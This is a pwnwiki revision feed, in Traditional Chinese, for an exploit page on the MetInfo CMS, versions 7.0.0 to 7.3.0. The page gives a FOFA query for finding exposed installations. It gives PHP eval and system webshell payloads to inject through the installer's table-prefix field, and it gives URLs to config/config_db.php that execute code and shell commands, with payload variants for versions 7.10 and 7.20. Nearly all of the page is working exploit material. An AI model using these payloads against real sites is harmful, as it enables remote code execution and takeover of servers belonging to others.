https://pwnwiki.com/index.php?action=history&feed=atom&title=%E7%B1%B3%E6%8B%93%E5%BB%BA%E7%AB%99%E7%B3%BB%E7%B5%B1_getshell%26%E5%91%BD%E4%BB%A4%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E%2Fzh-hant
米拓建站系統 getshell&命令執行漏洞/zh-hant - Revision history
2026-04-04T14:05:59Z
Revision history for this page on the wiki
MediaWiki 1.35.1
https://pwnwiki.com/index.php?title=%E7%B1%B3%E6%8B%93%E5%BB%BA%E7%AB%99%E7%B3%BB%E7%B5%B1_getshell%26%E5%91%BD%E4%BB%A4%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E/zh-hant&diff=6702&oldid=prev
Pwnwiki: Created page with "訪問以下url："
2021-07-10T07:27:25Z
<p>Created page with "訪問以下url："</p>
<p><b>New page</b></p><div><languages /><br />
==FOFA==<br />
<pre><br />
body="MetInfo"<br />
</pre><br />
<br />
==影響版本==<br />
7.3.0- 7.0.0<br />
<br />
==漏洞利用==<br />
<br />
在安裝該CMS - 【設置數據庫信息(數據表前綴)】：<br />
<br />
<br />
代碼執行Payload：<br />
<pre><br />
"/@eval($_GET['1']);/<br />
</pre><br />
<br />
<br />
命令執行payload：<br />
<pre><br />
"/@system($_GET['1']);/<br />
</pre><br />
<br />
點擊保存進行下一步驗證，出現報錯信息<br />
<br />
<br />
(這裏的Payload是代碼執行)<br />
<br />
訪問以下url：<br />
<pre><br />
http://<target>/config/config_db.php?1=phpinfo();<br />
</pre><br />
<br />
可以看到成功執行了phpinfo<br />
<br />
<br />
(這裏的Payload是命令執行)<br />
<br />
訪問以下URL：<br />
<pre><br />
http://<target>/config/config_db.php?1=id();<br />
</pre><br />
<br />
成功執行id命令。<br />
<br />
<br />
==其他==<br />
<pre><br />
Version 7.10 <br />
Payload："/@eval($_GET['1']);@system($_GET['2']);/<br />
</pre><br />
<pre><br />
Version 7.20<br />
Payload: "/@eval($_GET['1']);@system($_GET['2']);/<br />
</pre></div>
Pwnwiki